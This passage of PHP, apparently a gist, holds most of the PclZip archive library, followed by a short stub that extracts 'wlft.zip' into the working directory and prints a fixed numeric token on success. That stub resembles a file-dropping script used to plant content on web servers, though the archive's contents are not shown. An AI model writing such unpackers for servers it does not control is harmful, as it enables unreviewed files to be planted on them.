if (($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) {
$v_found = true;
}
if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) {
$j_start = $j+1;
}
if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) {
break;
}
}
}
else {
$v_found = true;
}
if ($v_found)
{
unset($v_header_list[$v_nb_extracted]);
}
else
{
$v_nb_extracted++;
}
}
if ($v_nb_extracted > 0) {
$v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';
$v_temp_zip = new PclZip($v_zip_temp_name);
if (($v_result = $v_temp_zip->privOpenFd('wb')) != 1) {
$this->privCloseFd();
return $v_result;
}
for ($i=0; $i<sizeof($v_header_list); $i++) {
@rewind($this->zip_fd);
if (@fseek($this->zip_fd, $v_header_list[$i]['offset'])) {
$this->privCloseFd();
$v_temp_zip->privCloseFd();
@unlink($v_zip_temp_name);
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
return PclZip::errorCode();
}
$v_local_header = array();
if (($v_result = $this->privReadFileHeader($v_local_header)) != 1) {
$this->privCloseFd();
$v_temp_zip->privCloseFd();
@unlink($v_zip_temp_name);
return $v_result;
}
if ($this->privCheckFileHeaders($v_local_header,
$v_header_list[$i]) != 1) {
}
unset($v_local_header);
if (($v_result = $v_temp_zip->privWriteFileHeader($v_header_list[$i])) != 1) {
$this->privCloseFd();
$v_temp_zip->privCloseFd();
@unlink($v_zip_temp_name);
return $v_result;
}
if (($v_result = PclZipUtilCopyBlock($this->zip_fd, $v_temp_zip->zip_fd, $v_header_list[$i]['compressed_size'])) != 1) {
$this->privCloseFd();
$v_temp_zip->privCloseFd();
@unlink($v_zip_temp_name);
return $v_result;
}
}
$v_offset = @ftell($v_temp_zip->zip_fd);
for ($i=0; $i<sizeof($v_header_list); $i++) {
if (($v_result = $v_temp_zip->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
$v_temp_zip->privCloseFd();
$this->privCloseFd();
@unlink($v_zip_temp_name);
return $v_result;
}
$v_temp_zip->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
}
$v_comment = '';
if (isset($p_options[PCLZIP_OPT_COMMENT])) {
$v_comment = $p_options[PCLZIP_OPT_COMMENT];
}
$v_size = @ftell($v_temp_zip->zip_fd)-$v_offset;
if (($v_result = $v_temp_zip->privWriteCentralHeader(sizeof($v_header_list), $v_size, $v_offset, $v_comment)) != 1) {
unset($v_header_list);
$v_temp_zip->privCloseFd();
$this->privCloseFd();
@unlink($v_zip_temp_name);
return $v_result;
}
$v_temp_zip->privCloseFd();
$this->privCloseFd();
@unlink($this->zipname);
PclZipUtilRename($v_zip_temp_name, $this->zipname);
unset($v_temp_zip);
}
else if ($v_central_dir['entries'] != 0) {
$this->privCloseFd();
if (($v_result = $this->privOpenFd('wb')) != 1) {
return $v_result;
}
if (($v_result = $this->privWriteCentralHeader(0, 0, 0, '')) != 1) {
return $v_result;
}
$this->privCloseFd();
}
return $v_result;
}
function privDirCheck($p_dir, $p_is_dir=false)
{
$v_result = 1;
if (($p_is_dir) && (substr($p_dir, -1)=='/'))
{
$p_dir = substr($p_dir, 0, strlen($p_dir)-1);
}
if ((is_dir($p_dir)) || ($p_dir == ""))
{
return 1;
}
$p_parent_dir = dirname($p_dir);
if ($p_parent_dir != $p_dir)
{
if ($p_parent_dir != "")
{
if (($v_result = $this->privDirCheck($p_parent_dir)) != 1)
{
return $v_result;
}
}
}
if (!@mkdir($p_dir, 0777))
{
PclZip::privErrorLog(PCLZIP_ERR_DIR_CREATE_FAIL, "Unable to create directory '$p_dir'");
return PclZip::errorCode();
}
return $v_result;
}
function privMerge(&$p_archive_to_add)
{
$v_result=1;
if (!is_file($p_archive_to_add->zipname))
{
$v_result = 1;
return $v_result;
}
if (!is_file($this->zipname))
{
$v_result = $this->privDuplicate($p_archive_to_add->zipname);
return $v_result;
}
if (($v_result=$this->privOpenFd('rb')) != 1)
{
return $v_result;
}
$v_central_dir = array();
if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
{
$this->privCloseFd();
return $v_result;
}
@rewind($this->zip_fd);
if (($v_result=$p_archive_to_add->privOpenFd('rb')) != 1)
{
$this->privCloseFd();
return $v_result;
}
$v_central_dir_to_add = array();
if (($v_result = $p_archive_to_add->privReadEndCentralDir($v_central_dir_to_add)) != 1)
{
$this->privCloseFd();
$p_archive_to_add->privCloseFd();
return $v_result;
}
@rewind($p_archive_to_add->zip_fd);
$v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';
if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0)
{
$this->privCloseFd();
$p_archive_to_add->privCloseFd();
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode');
return PclZip::errorCode();
}
$v_size = $v_central_dir['offset'];
while ($v_size != 0)
{
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = fread($this->zip_fd, $v_read_size);
@fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
$v_size -= $v_read_size;
}
$v_size = $v_central_dir_to_add['offset'];
while ($v_size != 0)
{
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = fread($p_archive_to_add->zip_fd, $v_read_size);
@fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
$v_size -= $v_read_size;
}
$v_offset = @ftell($v_zip_temp_fd);
$v_size = $v_central_dir['size'];
while ($v_size != 0)
{
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = @fread($this->zip_fd, $v_read_size);
@fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
$v_size -= $v_read_size;
}
$v_size = $v_central_dir_to_add['size'];
while ($v_size != 0)
{
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = @fread($p_archive_to_add->zip_fd, $v_read_size);
@fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
$v_size -= $v_read_size;
}
$v_comment = $v_central_dir['comment'].' '.$v_central_dir_to_add['comment'];
$v_size = @ftell($v_zip_temp_fd)-$v_offset;
$v_swap = $this->zip_fd;
$this->zip_fd = $v_zip_temp_fd;
$v_zip_temp_fd = $v_swap;
if (($v_result = $this->privWriteCentralHeader($v_central_dir['entries']+$v_central_dir_to_add['entries'], $v_size, $v_offset, $v_comment)) != 1)
{
$this->privCloseFd();
$p_archive_to_add->privCloseFd();
@fclose($v_zip_temp_fd);
$this->zip_fd = null;
unset($v_header_list);
return $v_result;
}
$v_swap = $this->zip_fd;
$this->zip_fd = $v_zip_temp_fd;
$v_zip_temp_fd = $v_swap;
$this->privCloseFd();
$p_archive_to_add->privCloseFd();
@fclose($v_zip_temp_fd);
@unlink($this->zipname);
PclZipUtilRename($v_zip_temp_name, $this->zipname);
return $v_result;
}
function privDuplicate($p_archive_filename)
{
$v_result=1;
if (!is_file($p_archive_filename))
{
$v_result = 1;
return $v_result;
}
if (($v_result=$this->privOpenFd('wb')) != 1)
{
return $v_result;
}
if (($v_zip_temp_fd = @fopen($p_archive_filename, 'rb')) == 0)
{
$this->privCloseFd();
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive file \''.$p_archive_filename.'\' in binary write mode');
return PclZip::errorCode();
}
$v_size = filesize($p_archive_filename);
while ($v_size != 0)
{
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = fread($v_zip_temp_fd, $v_read_size);
@fwrite($this->zip_fd, $v_buffer, $v_read_size);
$v_size -= $v_read_size;
}
$this->privCloseFd();
@fclose($v_zip_temp_fd);
return $v_result;
}
function privErrorLog($p_error_code=0, $p_error_string='')
{
if (PCLZIP_ERROR_EXTERNAL == 1) {
PclError($p_error_code, $p_error_string);
}
else {
$this->error_code = $p_error_code;
$this->error_string = $p_error_string;
}
}
function privErrorReset()
{
if (PCLZIP_ERROR_EXTERNAL == 1) {
PclErrorReset();
}
else {
$this->error_code = 0;
$this->error_string = '';
}
}
function privDisableMagicQuotes()
{
$v_result=1;
if ( (!function_exists("get_magic_quotes_runtime"))
|| (!function_exists("set_magic_quotes_runtime"))) {
return $v_result;
}
if ($this->magic_quotes_status != -1) {
return $v_result;
}
$this->magic_quotes_status = @get_magic_quotes_runtime();
if ($this->magic_quotes_status == 1) {
@set_magic_quotes_runtime(0);
}
return $v_result;
}
function privSwapBackMagicQuotes()
{
$v_result=1;
if ( (!function_exists("get_magic_quotes_runtime"))
|| (!function_exists("set_magic_quotes_runtime"))) {
return $v_result;
}
if ($this->magic_quotes_status != -1) {
return $v_result;
}
if ($this->magic_quotes_status == 1) {
@set_magic_quotes_runtime($this->magic_quotes_status);
}
return $v_result;
}
}
function PclZipUtilPathReduction($p_dir)
{
$v_result = "";
if ($p_dir != "") {
$v_list = explode("/", $p_dir);
$v_skip = 0;
for ($i=sizeof($v_list)-1; $i>=0; $i--) {
if ($v_list[$i] == ".") {
}
else if ($v_list[$i] == "..") {
$v_skip++;
}
else if ($v_list[$i] == "") {
if ($i == 0) {
$v_result = "/".$v_result;
if ($v_skip > 0) {
$v_result = $p_dir;
$v_skip = 0;
}
}
else if ($i == (sizeof($v_list)-1)) {
$v_result = $v_list[$i];
}
else {
}
}
else {
if ($v_skip > 0) {
$v_skip--;
}
else {
$v_result = $v_list[$i].($i!=(sizeof($v_list)-1)?"/".$v_result:"");
}
}
}
if ($v_skip > 0) {
while ($v_skip > 0) {
$v_result = '../'.$v_result;
$v_skip--;
}
}
}
return $v_result;
}
function PclZipUtilPathInclusion($p_dir, $p_path)
{
$v_result = 1;
if ( ($p_dir == '.')
|| ((strlen($p_dir) >=2) && (substr($p_dir, 0, 2) == './'))) {
$p_dir = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_dir, 1);
}
if ( ($p_path == '.')
|| ((strlen($p_path) >=2) && (substr($p_path, 0, 2) == './'))) {
$p_path = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_path, 1);
}
$v_list_dir = explode("/", $p_dir);
$v_list_dir_size = sizeof($v_list_dir);
$v_list_path = explode("/", $p_path);
$v_list_path_size = sizeof($v_list_path);
$i = 0;
$j = 0;
while (($i < $v_list_dir_size) && ($j < $v_list_path_size) && ($v_result)) {
if ($v_list_dir[$i] == '') {
$i++;
continue;
}
if ($v_list_path[$j] == '') {
$j++;
continue;
}
if (($v_list_dir[$i] != $v_list_path[$j]) && ($v_list_dir[$i] != '') && ( $v_list_path[$j] != '')) {
$v_result = 0;
}
$i++;
$j++;
}
if ($v_result) {
while (($j < $v_list_path_size) && ($v_list_path[$j] == '')) $j++;
while (($i < $v_list_dir_size) && ($v_list_dir[$i] == '')) $i++;
if (($i >= $v_list_dir_size) && ($j >= $v_list_path_size)) {
$v_result = 2;
}
else if ($i < $v_list_dir_size) {
$v_result = 0;
}
}
return $v_result;
}
function PclZipUtilCopyBlock($p_src, $p_dest, $p_size, $p_mode=0)
{
$v_result = 1;
if ($p_mode==0)
{
while ($p_size != 0)
{
$v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = @fread($p_src, $v_read_size);
@fwrite($p_dest, $v_buffer, $v_read_size);
$p_size -= $v_read_size;
}
}
else if ($p_mode==1)
{
while ($p_size != 0)
{
$v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = @gzread($p_src, $v_read_size);
@fwrite($p_dest, $v_buffer, $v_read_size);
$p_size -= $v_read_size;
}
}
else if ($p_mode==2)
{
while ($p_size != 0)
{
$v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = @fread($p_src, $v_read_size);
@gzwrite($p_dest, $v_buffer, $v_read_size);
$p_size -= $v_read_size;
}
}
else if ($p_mode==3)
{
while ($p_size != 0)
{
$v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = @gzread($p_src, $v_read_size);
@gzwrite($p_dest, $v_buffer, $v_read_size);
$p_size -= $v_read_size;
}
}
return $v_result;
}
function PclZipUtilRename($p_src, $p_dest)
{
$v_result = 1;
if (!@rename($p_src, $p_dest)) {
if (!@copy($p_src, $p_dest)) {
$v_result = 0;
}
else if (!@unlink($p_src)) {
$v_result = 0;
}
}
return $v_result;
}
function PclZipUtilOptionText($p_option)
{
$v_list = get_defined_constants();
for (reset($v_list); $v_key = key($v_list); next($v_list)) {
$v_prefix = substr($v_key, 0, 10);
if (( ($v_prefix == 'PCLZIP_OPT')
|| ($v_prefix == 'PCLZIP_CB_')
|| ($v_prefix == 'PCLZIP_ATT'))
&& ($v_list[$v_key] == $p_option)) {
return $v_key;
}
}
$v_result = 'Unknown';
return $v_result;
}
function PclZipUtilTranslateWinPath($p_path, $p_remove_disk_letter=true)
{
if (stristr(php_uname(), 'windows')) {
if (($p_remove_disk_letter) && (($v_position = strpos($p_path, ':')) != false)) {
$p_path = substr($p_path, $v_position+1);
}
if ((strpos($p_path, '\\') > 0) || (substr($p_path, 0,1) == '\\')) {
$p_path = strtr($p_path, '\\', '/');
}
}
return $p_path;
}
$archive = new PclZip("wlft.zip");
if ($archive->extract() == 0) {
die("Error : ".$archive->errorInfo(true));
}
else
{
die("1425756856");
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment